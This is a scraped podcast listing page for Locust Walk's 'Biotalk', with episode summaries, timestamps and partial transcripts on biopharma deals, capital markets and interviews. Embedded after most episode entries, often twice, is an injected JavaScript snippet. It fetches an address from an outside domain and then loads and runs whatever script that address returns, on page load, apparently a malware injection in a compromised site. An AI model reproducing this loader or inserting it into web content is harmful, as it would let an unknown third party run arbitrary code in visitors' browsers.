During the Asia-focused Episode 29 of Biotalk, Geoff shares insights into key trends and developments shaping the biotech landscapes in Japan, China, Korea, Australia, and the broader Asia-Pacific region, as featured in our 2025 Q2 Report: Global Trends in Biopharma Transactions Report. Japan’s biotech stocks outperformed broader indices, boosted by regulatory reforms and Shionogi’s $1.1B acquisition of Japan Tobacco’s pharma units. Licensing slowed, while early-stage financings focused on preclinical firms. China’s biotech market surged with four HKEX IPOs raising $1.5B. Venture funding fell as risk aversion grew, but strategic licensing stayed strong at $24.4B, shifting toward later-stage oncology and obesity deals. Korea’s biotech index dipped but showed 12-month gains, driven by ABL Bio’s $2.8B licensing deal with GSK and key Series B financings. Listen now to gain insights into the evolving global biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
During Episode 27 of Biotalk, Geoff Meyerson, CEO of Locust Walk, steps back to examine the macro forces shaping the biopharma landscape. After holding a bearish outlook since 2021, Geoff explains why he's finally shifting his stance and what could signal a true turnaround for biotech. He unpacks the “big three” market headwinds—regulatory hurdles from the IRA, FTC deal scrutiny, and high interest rates—and outlines how recent shifts, including rate cuts, new FTC leadership, and potential IRA reform, could spark renewed momentum, especially in M&A and rare diseases. Geoff also highlights previously underappreciated risks like HHS cuts and aggressive tariffs, which could stall progress if unresolved. With a balanced, apolitical lens, this episode offers candid insights into why policy matters for biotech investors, operators, and dealmakers—and what to watch for as 2025 unfolds. Tune in to understand the key inflection points and why Geoff sees the second half of 2025 as a potential breakout period for the industry. Full Transcript: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our podcast for biotech deal makers. In this episode, I want to zoom out and talk about the bigger picture — what's really driving the biotech market right now. In almost every meeting the past few months I have been asked my views on the market. I decided that I am going to share my thoughts publicly. I fancy myself to be a free market limited government champion across all aspects of life. I do not comment politically nor believe it is my job to criticize or promote any politician or party. That said, the macro policies enacted by both parties directly impact the biopharma industry, and I believe it’s important to analyze and comment on areas related to the life science industry. For all other issues, I subscribe to the University of Chicago’s institutional neutrality, and it is my (and Locust Walk’s) policy to not comment publicly. First a recap of why I was bearish starting fall 2021 when Locust Walk ran a webinar titled “Has Biotech Peaked”. Throughout 2022, 2023, and until September 2024, despite many market analysts predicting a turnaround, I maintained my bearishness because the 3 underlying headwinds that started blowing hadn’t stopped or reversed, namely: Regulatory headwinds because of the IRA Transaction headwinds from an openly hostile FTC Monetary headwinds via high interest rates caused by high inflation Until these 3 drivers reversed, I didn’t believe the market would improve beyond incremental changes. When in September 2024 the US Federal Reserve dropped rates by 50 bps, the rate tightening cycle had not only stopped but reversed. My changing perspective was independent of the pending election since the largest factor interest rates was starting to shift. In January 2025, Lina Khan exited the FTC and a new era of antitrust enforcement began. While far from perfect, it has been markedly more pro-business with a much less aggressive effort to block transactions. Locust Walk’s Quarterly Market conditions detailed a 47% uptick in M&A by value and 35% by volume showing signs of life in this market even though I didn’t anticipate any material improvement until 2H25 because it takes time for deals to come to fruition after the changeover in policy. I predicted M&A had the potential to transform the industry this year after years of suppression. I stand by this prediction and for everyone’s sake I hope I’m right. The IRA pill fix is being discussed and because President Trump has come out in support, some form of it is likely to make its way into the reconciliation package of tax and regulatory cuts. I hope small molecules move to 13 years of exclusivity but bigger price discounts thereafter to remain budget neutral rather than meeting in the middle at 11 years, which I think would be quite problematic.
During Episode 25 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q1 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends. Market Overview: The XBI fell 14% YoY, underperforming the NBI. Biotech weakness stemmed from tariff fears, FDA turnover, and HHS layoffs—pressuring small caps. Capital Markets: Capital raised dropped 33% from Q4. IPOs briefly reopened—large caps gained, small caps declined. Follow-ons fell 60%. PIPEs were weak, except Immunovant’s $450M. Venture: Slight dip from Q4 but ahead of all 2023 quarters. Late-stage rounds led, with 11 mega-rounds (Eikon $351M, Kardigan $300M) making up over half the total. M&A & Licensing: M&A hit $25.2B across 13 deals, focused on Ph2+ assets (e.g., J&J/Intra-Cellular). Licensing stayed strong, favoring clinical-stage programs. Europe: Strategic deal value reached $13B, led by Zealand-Roche and Gubra-AbbVie. Venture hit $1.2B—90% in Series A rounds like Verdiva ($411M) and Windward ($200M). Outlook: Regulatory uncertainty and rates may delay M&A, though late-stage and commercial deals could gain momentum. Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
During this episode of Biotalk, Geoff Meyerson, CEO of Locust Walk, explores the evolving biotech landscapes in Japan and China, highlighting key trends and developments shaping the region as featured in our 2024 Year-In-Review Report: Global Trends in Biopharma Transactions Report. Geoff leverages extensive conversations with strategics and investors worldwide to provide insights into global biotech deal-making. Key topics include: Japan’s Recovery in 2024: A rebound in licensing activity reached $2.1B in Q4, driven by preclinical and small molecule deals. Venture financing grew 20%, with Series C and D rounds leading the charge. China’s Strategic Transactions: Licensing deal value surged to $47B, driven by out-licensing, regulatory improvements, and NewCo formations. US investors are highly valued, with reverse mergers and IPOs becoming popular strategies for accessing US capital markets. Key Themes: Japan’s focus on in-licensing signals interest in earlier-stage innovation, while China’s “fallen angel” assets provide US companies with cost-effective opportunities. Looking ahead to 2025, Geoff discusses how stabilization in Japan and China’s growing innovation will shape global biotech, despite regulatory and geopolitical challenges. Subscribe or follow Biotalk on Apple Podcasts | Spotify. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
On this episode of Biotalk, Geoff Meyerson, CEO and Co-founder of Locust Walk, speaks with Sudhir Agrawal, Founder and President of ARNAY Sciences and a pioneer in RNA therapeutics. Sudhir’s extensive career spans over three decades, during which he has made groundbreaking contributions to the field, including developing gapmer antisense technology, immune modulation approaches, and, in recent years, designing cyclic structures of DNA and RNA for therapeutic applications. In their conversation, Sudhir recounts his journey from his early days in nucleic acid research to becoming a leading innovator in RNA therapeutics. He delves into the origins of the gapmer technology, its impact on antisense drug development, and the lessons learned from his time Idera Pharmaceuticals. He also shares insights into his latest work on cyclic RNA/DNA structures and discusses his vision for the future of nucleic acid therapeutics. He concludes by offering practical advice to entrepreneurs aspiring to break into the biotech space and sharing his thoughts on the future of RNA science. Join us for a deep dive into the world of RNA therapeutics with one of its most influential figures.Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:34 What inspired you to focus specifically on RNA therapeutics, and how did your whole journey here begin? 3:04 Can you provide more details about the initial insight behind the development of the gapmer technology, which has been transformational for the space? 5:34 What lessons did you learn from your experience at Ionis (formerly Isis) that you would apply to your current work? 13:54 How are you thinking about commercializing the cyclic RNA/DNA structures you have developed at your company RNA Sciences? 23:40 Beyond the cyclic structures, what other innovations or areas of focus do you see on the horizon for nucleic acid therapeutics? 23:23 What advice would you give your early self starting out as an entrepreneur and innovator in the biotech space? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
On this episode of Biotalk, Geoff Meyerson, CEO of Locust Walk, sits down with David Harel, CEO and Co-founder of CytoReason. CytoReason uses AI-powered disease models to transform drug discovery and development, offering pharmaceutical companies insights that reduce both time and costs in bringing new therapies to market. David shares his journey from private equity to co-founding CytoReason—an idea sparked on a beach in Israel. They discuss why no one had applied molecular data this way before, how CytoReason’s models differ from existing approaches, and the benefits they offer in accelerating drug development. They also delve into the evolving role of AI in drug discovery, the transformative potential it holds, and the critical challenges the industry will face as the field scales. Reflecting on the importance of diverse thinking in this fast-evolving space, David notes, "Diversity of opinions is critical to making things work. You need diverse perspectives to distill the truth before it's delivered to the customer, who is highly educated and smart. Without tough questions being asked openly, things can fall apart quickly." David also offers three key pieces of advice for entrepreneurs looking to enter the intersection of AI and life sciences today.Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:14 To start, nothing in your background said AI or disease biology, how did you decide to work in this space and what motivated you to co-found CytoReason? 5:50 Why hadn’t anyone done this before with molecular data? And how was it different from what was being done? 6:54 Did the vision for CytoReason stay the same or evolve? 7:30 The big question, where do you get the data and is it proprietary? 10:28 What do CytoReason’s models do? What is the benefit and how does this help drug development? 13:50 How are you thinking about building your business out to tackle the industry? 22:00 How do you foresee the role of AI evolving in drug discovery and development, and what challenges do you anticipate as the field grows? 28:55 What advice would you give to entrepreneurs looking to enter the intersection of AI and life sciences today? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
On this episode of Biotalk, Locust Walk’s Andy Meyerson welcomes Dr. Lindsay Rosenwald, Chairman, President and Chief Executive Officer of Fortress Biotech, a company focused on licensing and developing high-potential marketed and development-stage drugs. Lindsay shares his journey from physician to biotech entrepreneur and outlines Fortress Biotech’s strategy of licensing high-potential marketed and development-stage drug candidates, avoiding early-stage technologies. They discuss how Fortress capitalizes on inefficiencies in the drug development market, such as acquiring drugs approved abroad but not in the US, and the role of AI in improving drug search and evaluation efficiency. Despite concerns about macroeconomic risks and changes in healthcare spending, Lindsay believes Fortress can navigate these challenges by being a low-cost producer of drug candidates. Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:26 Lindsay, you have had an interesting and varied career across finance in life sciences. I always find successful people’s career arc fascinating – How did your career develop, and what lead you to your current role at Fortress Biotech? 3:58 What spurred your interest in life sciences? 5:26 What we hear over and over in our current discussions with investors is an interest in identifying high-quality assets from within pharma or biotechs that can be spun out into new companies. This has been gaining in attractiveness over the last 3 years as investor focus increases on clinical-stage assets. What I find interesting about this shift is that Fortress’ strategy has been to do this since its founding. This leads me to a couple of questions: What do you think about this current investor trend? 10:15 How did you arrive on the Fortress business model? 14:11 What do you see as the overall implications for everyone now that so many people are hunting for the same opportunities? 17:12 What potential do you see for AI in revolutionizing drug discovery and development at Fortress Biotech? 19:52 What is your current view on the biotech market, and what trends do you foresee shaping the industry in the coming years? 22:09 Given the dynamic nature of biotech, how is Fortress Biotech positioning itself to navigate future challenges and opportunities? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);
During this episode of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2024 Q1 Report: Global Trends in Biopharma Transactions Report. Each quarter, Locust Walk’s deal team compiles key statistics and trends showcasing the current state of global private and public capital markets, strategic partnerships, and M&A in the biopharma sector. In this episode, Geoff provides valuable insights into our report, focusing on critical areas such as: Biotech capital markets: Highlighting XBI’s recovery, strong market indicators, and increased PIPE activity since Q2 2023. Private biotech markets: Saw the second-best deal quarter since 2021, yet activity remains flat compared to 2021’s robust fundraising Strategic transaction activity: Observing big pharma’s large acquisitions, with US M&A lower than Q4 while EU firms showed strong activity. Market outlook and advice for the months ahead. We invite you to listen to our podcast and read our report and welcome the opportunity to discuss its contents with you. Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 0:36 Deal Context, Quarter Highlights and Key Takeaways, and Future Outlook 6:23 Our Advice for the Current Market Transcription: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our podcast for biotech deal makers. This episode of Biotalk is focused on Locust Walk’s 2024 First Quarter market conditions Report, in which we apply the latest data to analyze current activities in the biopharma deal landscape. Each quarter, Locust Walk’s deal team compiles key statistics and trends showcasing what is happening in the global private and public capital markets and strategic partnering and M&A activity. Deal Context, Quarter Highlights and Key Takeaways, and Future Outlook To provide some structure, I will first cover biotech capital markets, touching on both public and private market performance over the past year. I will then transition into strategic transaction activity, covering both M&A and licensing. Please note, the full report published on the Locust Walk website is over 60 slides, so while I will do my best to summarize, as always, I encourage you to check out the full report for additional detail. To download this report, please go to locustwalk.com and go to our “Insights” page. Q1 of this year continued last quarter’s recovery of the XBI and saw a sharp upswing at the end of February on the heels of multiple positive data readouts. The XBI has since normalized but ended Q1 above prior 2023 highs. In support of this positive momentum, we saw several strong indicators of a potential recovery for the public biotech markets. Q1 saw an increase in follow-on offering’s volume and deal size (up $8.1B from $3.5B in Q4’23), and a meaningful increase in PIPE volume and size (up $2.6B from $1.7B in Q4’23). We’re seeing a trend of increasing PIPE activity that started in Q2 2023, reflecting companies’ preference to reduce financing risk by securing capital prior to data announcements, despite the cost of providing less favorable terms. For example, Avidity raised a $400M PIPE, a week before they announced positive data from their Phase 1/2 trial for their lead asset. IPO volume also doubled from Q4, which is positive, although there has been limited activity after the first half of Q1 and the companies going public largely remain limited to later-stage companies. I believe the IPO window is still relatively shut and the public market for early-stage companies will remain challenging, with the two preclinical IPOs, Metagenomi and Fractyl Health, struggling to perform already. To a lesser degree, the private US biotech markets saw some recovery in Q1 with 15 rounds >$100M, the second-best quarter in aggregate deal value since 2021, and nearing the 2023 peak seen in Q3. Overall, activity is still relatively flat when compared to the robust fund...
On this episode of Biotalk, Locust Walk’s Geoff Meyerson welcomes Kendalle Burlin O’Connell, Esq., CEO and President of MassBio, the nation’s pioneering biotechnology trade association, which plays a pivotal role in representing and supporting the vibrant Massachusetts life sciences industry. In this insightful conversation, Kendalle discusses her journey from law to leading MassBio in 2008, her evolving role within the organization, and her vision as CEO for MassBio’s future. Geoff and Kendalle delve into Massachusetts’ leading position in biotech, examining the strategies driving innovation. Kendalle addresses current industry challenges and shares her perspective on its future. Discover MassBio’s role in fostering innovation and growth in the life sciences sector, from initiatives like the Align Summit to talent nurturing and collaboration. Don’t miss this engaging discussion as Kendalle shares her insights, experiences, and vision for the future of the Massachusetts life sciences industry. Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:27 To kick things off, I’d love for you to provide our audience with some background as to what led you to the life sciences. 6:04 How did your role evolve, how did MassBio come to be, and how did thing evolve to you becoming CEO? 11:10 What is your vision as a CEO and where do you want to take the organization? 14:27 Every state and country who has an interest in biotech wonders what Massachusetts is doing right to make it far and away the number one cluster. What do you think is the secret sauce that has propelled MA in to such a leadership role and what is going to keep it there? 19:50 What are you hearing from the companies and investors you speak with about how the downturn is impacting them and what they see in their crystal ball in the future? 26:20 What types of things is MassBio doing to foster innovation in the sector? 30:47 Let’s move to the Align Summit, how did the idea for this come about and what do you hope to accomplish with the conference? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
On this episode of Biotalk, Locust Walk‘s Geoff Meyerson welcomes Soufiane Aboulhouda, Co-Founder and Chairman of the Board of Nucleate, a global non-profit dedicated to empowering future biotech leaders through education and fostering innovation in life sciences companies. The discussion explores Soufiane’s journey into early-stage biotech and delves into the founding story of Nucleate, highlighting the organization’s mission and its pivotal role in shaping the biotech landscape. Soufiane, who served as President of Nucleate for over 5 years, shares valuable lessons learned during his tenure. Listeners also gain insights into Soufiane’s current work at the Wyss Institute under George Church, exploring the intricacies of his research in the lab. The episode concludes with Soufiane addressing the biggest challenges facing the biotech industry and Nucleate, expressing optimism for the organization’s future. The positive note of the conversation emphasizes the reasons behind Soufiane ‘s confidence in the promising future of Nucleate. We invite you to tune in to this compelling discussion on biotech, education, and innovation. Subscribe or follow Biotalk on Apple Podcasts | Spotify. Timestamps: 1:21: To kick things off, I’d love for you to provide our audience with some background as to what led you to your initial exploration of early-stage biotech? 5:15: What is the founding story of behind Nucleate? What you’re trying to solve and how did it come about 8:56: You also served as President of Nucleate for over 5 years. What lessons have you learned throughout your time as president? 16:04: You currently work at the Wyss Institute under George Church. Tell us more about your work in that lab. 19:37: In terms of Nucleate as an organizations, where do you operate, how many members do you have? 22:58: How has the biotech market downturn impacted Nucleate? Your lab? Your research? 26:48: At Locust Walk, we believe that dislocations are a great way to spot opportunity. What would you say are the kinds of opportunities that are revealing themselves to you as the industry goes through a little bit of a struggle? 28:54: To wrap up a great conversation, do you believe there is a biggest issue currently facing the industry, or potentially impacting Nucleate? 30:44: Why are you optimistic about the future of Nucleate? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); });
This episode of Biotalk is focused on Locust Walk’s 2023 First Quarter Market Conditions Report, in which we apply the latest data to analyze current activities in the life sciences deal landscape. Each quarter, Locust Walk’s deal team compiles key statistics and trends showcasing what is happening in the global private and public capital markets and strategic partnering and M&A activity. To download this report, please go to locustwalk.com and go to our “Insights” page. As always Locust Walk is happy to speak with you further if you have any questions about our views or if we can be helpful to guide your organization through the current market environment. Timestamps: Deal Context: 1:14 Future Outlook: 5:23 Our Best Advice for the Current Market: 8:53 Transcription: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our new podcast for biotech deal makers. This episode of Biotalk is focused on Locust Walk’s 2023 First Quarter market conditions Report, in which we apply the latest data to analyze current activities in the life sciences deal landscape. Each quarter, Locust Walk’s deal team compiles key statistics and trends showcasing what is happening in the global private and public capital markets and strategic partnering and M&A activity. Our report covers key takeaways for the sector across US, Europe and Asia geographies for a comprehensive view of biotech deal making. We invite you to review our report and hope you will find it useful in your business. To download this report, please go to locustwalk.com and go to our “Insights” page. As always Locust Walk is happy to speak with you further if you have any questions about our views or if we can be helpful to guide your organization through the current market environment. Locust Walk is happy to speak with you to review our quarterly findings in more depth or otherwise provide guidance for your organization through the current challenging environment to achieve its business objectives. Deal Context, Quarter Highlights and Key Takeaways, and Future Outlook In the next few minutes, I will provide deal making context, highlight events that have made a critical impact on the biotech industry, and provide our outlook for the future and our best advice on how you can survive as a biotech deal maker. To provide deal context (Jumping right in) Prevailing market trends from 2022 continued into the first quarter of 2023 as the context for deal making, which maintains unfortunately the correction for the frothy and capital-saturated biotech market of the COVID era. My view is that valuation data that is publicly available does not accurately reflect the reality of the current financing landscape. Insider led rounds are anecdotally being done at down round valuations and that isn’t reflected in the overall data and some insider led rounds have artificial valuations to avoid righting down their portfolios. In contrast, outsider led rounds have been able to command step ups that are flat to 20% vs the 2x they would have received in a more favorable market. These deals are taking much longer to close with many more investors required to be called per dollar committed. The list of 200+ companies trading below cash speaks to the need for strategic alternatives. Many of these companies have not decided that doing a strategic deal is their best outcome but more of them have been choosing that path than before. Some have had negative data forcing this path but others recognize that if they enter into discussions with more cash in the bank, they will have more strategic options available to them. We have seen more public companies throwing in the towel recognizing that they cannot finance and need to find a home for their programs. This capitulation will lead to deals later this year and thus there will be a lag in getting deals done.
On this episode of Biotalk, Locust Walk welcomes Andrew Allen, M.D., Ph.D., Co-Founder, President, CEO, and board member of Gritstone Bio to the podcast. Prior to Gritstone, Dr. Allen co-founded Clovis Oncology and served as CMO. He was CMO at Pharmion Corporation and also served in clinical development leadership roles at Chiron Corporation and Abbott Laboratories and worked at McKinsey & Company. Dr. Allen discusses the founding of Gritstone bio, it’s evolution since 2015, and the two key aspects to the Gritstone platform: novel antigen identification and an immunogenic vaccine platform consisting of proprietary self-amplifying mRNA and chimpanzee adenovirus delivery systems. Locust Walk is happy to speak with you further if you have any questions about this episode or if we can be helpful to guide your organization through the current market environment. Timestamps: 2:13: What is your perspective on how a CEO should be thinking about the current environment based on your previous experience with these types of downcycles? 5:00: How do you think about creative deal making as a CEO to make sure you’re not missing out on an opportunity elsewhere? 11:51: What was it about the company that convinced you that you were working on something differentiated, and was worthy of being a company? 20:13: How would you describe the evolution of Gritstone and what is next as the company grows and evolves? 23:30: Is Edge foundational to the concept of a personalized cancer vaccine? 23:48: How is it that Edge contributes to buzz-worthy type data for Gritstone? 27:57: As we are starting to think through the various versions of mRNA delivery technologies, particularly within the context of antigen delivery for vaccination, how should our listeners be thinking through differentiating platforms to determine a good platform for a vaccine and what actually matters when looking towards platforms? 32:43: As we think about RNA-focused medicines, are there certain things you’ve been working on that has caught your eye? 35:33: How do you think about modality blending within RNA and do you think it’s the way the industry might be moving? (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();
Our first Biotalk podcast is focused on Locust Walk’s 2022 year-in-review market conditions, which was released the first day of JPMorgan and rapidly accumulated over 500 downloads. Each quarter, Locust Walk’s deal team compiles key statistics and trends showcasing what is happening in the global private and public capital markets and strategic partnering and M&A. We wanted to share some insights into the report and discuss key trends, opportunities and predictions for the industry in 2023. To download this report, please go to locustwalk.com and go to our “Insights” page. As always Locust Walk is happy to speak with you further if you have any questions about our views or if we can be helpful to guide your organization through the current market environment. Timestamps: Recap of How We Got Here: 1:03 Key Trends for Biotech Management Teams to Monitor: 4:36 Locust Walk Expectations for 2023 Biotech Market: 6:01 Signals of Market Recovery to Watch For: 9:45 How to be Successful in This Market: 11:19 Transcription: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our new podcast for biotech deal makers. Our first Biotalk podcast is focused on Locust Walk’s 2022 year-in-review market conditions, which was released the first day of JPMorgan and rapidly accumulated over 500 downloads. Each quarter, Locust Walk’s deal team compiles key 